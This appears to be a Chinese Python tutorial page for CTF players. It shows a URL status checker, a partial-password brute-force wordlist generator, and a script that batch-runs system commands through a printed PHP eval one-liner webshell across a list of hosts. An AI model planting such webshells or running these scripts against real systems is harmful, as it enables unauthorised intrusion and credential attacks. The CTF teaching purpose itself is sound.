Python从0到POC编写--实用小脚本

UrlCheck:

假设我们要对一份 url 列表进行访问是不是 200 ,

量多的话肯定不能一个一个去点开看,

这个时候我们可以借助脚本去判断,

假如有一份这样的列表,

这份列表呢,奇奇怪怪,有些写错了,有些没补全。


http://www.baidu.com
htt://www.sql.com
https://www.taobao.com
www.jd.com
https://www.360.com
http://www.suning.com
www.meituan.com
https://www.mi.com

现在呢,我们有了一份奇怪的列表要去判断,

当然这是教程,就从最简单的开始讲。


首先进行分解操作,先把列表内容读取出来,

假设这份列表在 D 盘,名为 url.txt


file = open('D:/url.txt','r')  # 使用读的方式打开文件

for url in file.readlines():  # 每次读取一行内容
	print(url)

file.close()

现在来看看代码运行的结果

images


可以看到读取的时候多了一个回车 ,

这个时候我们可以使用 strip() 方法来消除回车

strip() 方法用于移除字符串头尾指定的字符(默认为空格)或字符序列。


file = open('D:/url.txt','r')

for url in file.readlines():
	url = url.strip('\n')      # 清除回车
	print(url)

file.close()  # 关闭文件

最后结尾不要忘记关闭文件哦!!

现在再来看看效果,已经没有回车了

images


第二步:

第二步就是要把这些没有写的协议,或者没有补全的协议全部替换为我们的内容,

不管用户输入的是什么,都替换为我们安排的内容,

现在呢,代码是这样子的,需要把一些标签替换为空,把 url 变为原始样貌

这里就直接暴力替换了


file = open('D:/url.txt','r')

for url in file.readlines():
	url = url.strip('\n')

	url = url.replace('\n','')     # 把回车替换为空
	url = url.replace('htt://','')
	url = url.replace('http://','')
	url = url.replace('https://','')

	print(url)

file.close()

现在来看看运行效果

images


第三步:

现在我们就可以开始编写 Check 脚本了

这个就是判断状态码是不是 200 了

编写思路为首先使用 http 去访问,如果不行再换成 https

因为有些网站 http 访问不了,要使用 https 才可以


import requests
import time

def Check(url):

	headers = {

		'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0',
		'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8',
		'Accept-Language': 'zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2',
	}

	try:

		urls = 'http://'+url  # 首先使用 http 去访问 http://www.xxx.com

		r = requests.get(urls,headers=headers,timeout=5)

		if r.status_code == 200:  # 判断状态码是不是 200

			print(urls + ' ----> ' + str(r.status_code))

	except:

		try:

			urls = 'https://'+url  # 如果 http 不行再使用 https

			r = requests.get(urls,headers=headers,timeout=5)

			if r.status_code == 200: # 判断状态码是不是 200

				print(urls + ' ----> ' + str(r.status_code))

		except:

			print(urls + ' ----> 无法访问 ')	


file = open('D:/url.txt','r')

for url in file.readlines():
	url = url.strip('\n')

	url = url.replace('\n','')
	url = url.replace('htt://','')
	url = url.replace('http://','')
	url = url.replace('https://','')

	Check(url)

file.close()

接下来看看运行效果

images


为了更方便一点,我们可以将能访问和不能访问的 url 写入到文件中

这样的话找起来也方便一点


import requests
import time

def Check(url):

	headers = {

		'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0',
		'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8',
		'Accept-Language': 'zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2',
	}

	try:

		urls = 'http://'+url

		r = requests.get(urls,headers=headers,timeout=5)

		if r.status_code == 200:

			# 将可以访问的 url 写入到 D 盘下的 可以访问列表.txt 文件

			f = open('D:/可以访问列表.txt','a+')
			f.write(urls+'\n')
			f.close()

			# print(urls + ' ----> ' + str(r.status_code))

	except:

		try:

			urls = 'https://'+url

			r = requests.get(urls,headers=headers,timeout=5)

			if r.status_code == 200:

				# print(urls + ' ----> ' + str(r.status_code))

		except:

			# 将不能访问的 url 写入到 D 盘下的 error.txt 文件

			f = open('D:/error.txt','a+')  
			f.write(urls+'\n')
			f.close()

			# print(urls + ' ----> 无法访问 ')	


file = open('D:/url.txt','r')

for url in file.readlines():
	url = url.strip('\n')

	url = url.replace('\n','')
	url = url.replace('htt://','')
	url = url.replace('http://','')
	url = url.replace('https://','')

	Check(url)

file.close()

最后结果就是这样

images


密码字典:

这个脚本源自于一道ctf题,

在解题的过程中,只能看到一半的密码,

剩下的就需要生成密码爆破了。


首先还是先学习下相关模块

string 模块中定义了一些常用的属性(包含所有数字,字母,可打印的所有ascii码等)

常用的一些属性:


string.ascii_letters     # 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ'
string.ascii_lowercase   # 'abcdefghijklmnopqrstuvwxyz'
string.ascii_uppercase   # 'ABCDEFGHIJKLMNOPQRSTUVWXYZ'
string.digits            # '0123456789'
string.hexdigits         # '0123456789abcdefABCDEF'
string.octdigits         # '01234567'
string.printable         # '0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTU...
string.punctuation       # '!"#$%&\'()*+,-./:;<=>?@[\\]^_`{|}~'
string.whitespace        # ' \t\n\r\x0b\x0c'

使用也很简单

例:


import string

pwd = string.octdigits

print(pwd)

#  打印 01234567

也可以使用 for 循环读取字符

例:


import string

for pwd in string.octdigits:

	print(pwd)

现在假设有一个5位数密码 abcxx,

我们只知道前三位,然后需要去爆破后两位,

假设后两位是数字和字母组合,

那么我们就生成他


import string

pwd = 'abc'

for x in string.ascii_letters:
	for y in string.digits:	
		password = pwd + x + y
		print(password)

现在我们来看看运行效果,

这样就生成了,

images


当然如果想要写入到 txt 文本中也行 ,


import string

pwd = 'abc'

for x in string.ascii_letters:
	for y in string.digits:	
		password = pwd + x + y
		# print(password)
		file = open('D:/pwd.txt','a+')
		file.write(password+'\n')
		file.close()

这样就完成了


GetFlag:

在ctf比赛中,为了能够快速获取flag,获得更多的分数,

我们通常需要配合脚本一起完成。

下面假设我们已经获取了shell,接下来就批量获取flag了。

假设 flag 在网站根目录,flag 为 flag{hello}

这个shell为一句话, <?php error_reporting(0);eval($_POST[cmd]);?>


写法就跟前面提到的 批量poc差不多,也跟 UrlCheck 差不多,

只不过是 这里使用 post 提交


import requests
import time

def getflag(url):

	try:

		# url = 'http://localhost/shell.php'

		headers = {

			'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0',
			'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8',
			'Accept-Language': 'zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2'

		}

		payload = {"cmd":"system('type flag.txt');"}

		r = requests.post(url,headers=headers,data=payload,timeout=1)

		if r.text:
			print(url+' -----> '+r.text)
			# print(r.text)

	except:

		# print(url+' -----> error')
		return   #  return 一个空


dic = [

	'http://192.168.1.2/shell.php',
	'http://192.168.1.3/shell.php',
	'http://192.168.1.4/shell.php',
	'http://192.168.1.5/shell.php',
	'http://localhost/shell2.php',

]

for url in dic:
	getflag(url)

运行效果

images


这里使用内置字典,当然也使用外置,

另外因为实验环境是 win ,所以使用 type 命令获取内容,

比赛一般是 Linux 服务器,使用 cat 命令,

当然,比赛一般有两种获取flag的方式,

一种是从网站根目录下获取,

另外一种是 通过 flag box 去读取,

那么system('type flag.txt'); 命令就应该换成 system('curl http://10.0.0.1');

如果需要 token的话,那么就是 system('curl http://10.0.0.1?token=ab13bakj3baj1kkab1');

好了,就到这里吧!!!

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:/a/607253.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

Golang——Strconv包

func ParseBool(str string) (value bool, err error) strconv包实现了基本数据类型与其字符串表示的转换&#xff0c;主要有以下常用函数&#xff1a;Atoi()&#xff0c;Itoa()&#xff0c;parse系列函数&#xff0c;format系列函数&#xff0c;append系列函数。 1.1 string与…

6份不用辞职就能赚钱的副业,上班族必看!

在这个经济浪潮中&#xff0c;生活成本的上升与工资增长的缓慢形成了鲜明对比。对于许多上班族来说&#xff0c;寻找额外收入的途径显得尤为迫切。 今天&#xff0c;就让我们一起探索那些适合在业余时间开展的副业&#xff0c;为你的财务自由之路添砖加瓦。 1. 闲鱼二手手机售卖…

SEO之高级搜索指令(三)

初创企业需要建站的朋友看这篇文章&#xff0c;谢谢支持&#xff1a; 我给不会敲代码又想搭建网站的人建议 新手上云 &#xff08;接上一篇。。。。&#xff09; 11、link: link:也是SEO 常用的指令&#xff0c;用来搜索某个url的反向链接&#xff0c;既包括内部链接&#xf…

python编程“常识”【pip安装路径、计算、pycharm中的terminal运行前面的PS修改成自己环境】

一、默认的pip install包路径&#xff1a; pip show pip 二、计算 打开cmd&#xff0c;输入&#xff1a; ipython 例如你要计算2的13次方&#xff1a; ok. 三、pycharm中的terminal运行前面的PS修改成自己环境 未修改前&#xff1a; 修改过程&#xff1a; 打开设置找到too…

渗透之sql注入---宽字节注入

宽字节注入原理&#xff1a; 宽字节注入就是在对用户输入进行处理时&#xff0c;将编码方式改变&#xff0c;当某些关键字符被过滤&#xff08;转义&#xff09;时&#xff0c;我们可以使用其他的编码在被转义的字符前面&#xff0c;这样就可以组成一个新的字符从而来实现绕过…

【备战软考(嵌入式系统设计师)】10 - 软件工程基础

这一部分的内容是概念比较多&#xff0c;不要理解&#xff0c;去感受。 涉及的知识点是嵌入式系统开发和维护的部分&#xff0c;也就是和管理相关的&#xff0c;而不是具体如何进行嵌入式系统开发的细节。 系统开发生命周期 按照顺序有下面几个阶段&#xff0c;我们主要要记…

WPF容器控件之WrapPanel、布局控件

WrapPanel: 换行panel 子元素进行换行&#xff0c;当子元素的宽度或者高度超出了父元素&#xff0c;才进行换行。高度超出父元素的高度 也会另起一列 属性 Orientation布局方式 实例 <WrapPanel Orientation"Horizontal"><Label>C# 是从 C/C 衍生出来的…

zabbix动作执行命令失效不起作用?

1. zabbix在web界面设置完主机组&#xff0c;主机&#xff0c;监控项&#xff0c;触发器&#xff0c;动作之后 监控项监控到了&#xff0c;触发器触发动作&#xff0c;但是执行的指令不起作用 流程 在zabbix-agent端将nginx服务down掉&#xff0c;zabbix会自动监控并执行重启的…

一文了解Memcache内存分配机制及stats参数

一、Memcache内存分配机制 了解memcached必须了解的三个单位&#xff1a;page、slabs、chunk。 1.1、Page Page为内存分配的最小单位,Memcached的内存分配以page为单位&#xff0c;默认情况下一个page是1M&#xff0c;可以通过-I参数在启动时指定。如果需要申请内存 时&#…

NeRF算法

目录 算法介绍 基本原理 1. 体渲染 2. 多层感知机&#xff08;MLP&#xff09; 3. 位置编码 4. 两阶段层次化体采样 实验展示 代码解析 算法介绍 NeRF&#xff08;Neural Radiance Fields&#xff09;是一种用于从2D图像中重建3D场景的神经网络模型。它通过训练一个深度…

sourceTree push失败

新电脑选择commit and push&#xff0c;报错了&#xff0c;不过commit成功&#xff0c;只不过push失败了。 原因是这个&#xff0c;PuTTYs cache and carry on connecting. 这里的ssh选择的是 PuTTY/Plink&#xff0c;本地没有这个ssh密钥&#xff0c;改换成openSSH&#xff…

SRM系统供应链库存协同提升企业服务水平

SRM系统供应链库存协同是一种以提高供应链整体效率和竞争力为目标的管理方法。它涉及到企业与供应商之间的紧密合作&#xff0c;以实现库存优化、成本降低、风险分担和灵活响应市场变化等目标。 一、SRM供应链库存协同的概念和特点 SRM供应链库存协同是指企业与供应商之间通过…

音转文工具,9.8k star! 【送源码】

我们经常会遇到将音频转为文字的情况&#xff0c;比如在开会时录音的会议纪要、上课时录下的老师讲课内容。虽然网上也有一些在线的工具可以将音频转为文字&#xff0c;但是考虑到数据安全和费用问题&#xff0c;使用起来也不是很方便。 今天了不起给大家介绍一款开源工具——…

毕业论文应该怎么写?推荐几款ai写论文工具

时间过的好快&#xff0c;马上又到了一年一度的毕业季了&#xff0c;对于即将毕业的学生来说毕业论文是一道难过的坎&#xff0c;想到自己为了毕业论文熬的夜&#xff0c;掉的头发&#xff0c;真的深有感触。 不过虽然翟博士给大家的毕业论文设了高门槛&#xff0c;但是随着时…

python之装饰器,模块和文件操作和面向对象

1.装饰器详解(重点) 1_1 装饰器 程序运行的时候的记录 -- 日志 在实际工作中&#xff0c;python这样的东西&#xff0c;是放在服务器上运行的 日志其实就是记录下来当前程序的运行&#xff0c;协助我们定位问题 确定问题的方式&#xff08;通过日志、报错信…

宏的优缺点?C++有哪些技术替代宏?(const)权限的平移、缩小

宏的优缺点&#xff1f; 优点&#xff1a; 1.增强代码的复用性。【减少冗余代码】 2.提高性能&#xff0c;提升代码运行效率。 缺点&#xff1a; 1.不方便调试宏。&#xff08;因为预编译阶段进行了替换&#xff09; 2.导致代码可读性差&#xff0c;可维护性差&#xff0…

Java线程池(更新中)

1.线程池介绍 顾名思义&#xff0c;线程池就是管理一系列线程的资源池&#xff0c;其提供了一种限制和管理线程资源的方式。每个线程池还维护一些基本统计信息&#xff0c;例如已完成任务的数量。 总结一下使用线程池的好处&#xff1a; 降低资源消耗。通过重复利用已创建的…

猎头告诉你正确的“离职流程”

往期热门文章&#xff1a; 1&#xff0c;史上最全猎头技能资料&#xff0c;独家最新放送 2&#xff0c;互联网大厂java面试题知识库&#xff08;100万字&#xff09; 3&#xff0c;一线互联网大数据面试题知识库&#xff08;100万字&#xff09; 4&#xff0c;中国猎头公司排行…

SQL优化详解

目录 插入数据 insert的优化&#xff08;少量数据&#xff09; 批量插入 手动事务提交 主键顺序插入 插入大量数据 主键优化 数据组织方式&#xff1a; 页分裂&#xff1a; 主键顺序插入的方式&#xff1a; 主键乱序插入&#xff1a; 页合并&#xff1a; 主键设计…

HTML5/CSS3粒子效果进度条 超炫酷进度条动画源码

特效介绍 之前我已经分享了几款效果很不错的CSS3进度条插件&#xff0c;比如CSS3 Loading进度条加载动画特效、CSS3 3D进度条按钮 18款精美样式。今天我再来分享一款很有特色的HTML5/CSS3进度条应用。这款进度条插件在播放进度过程中出现粒子效果&#xff0c;就像一些小颗粒从…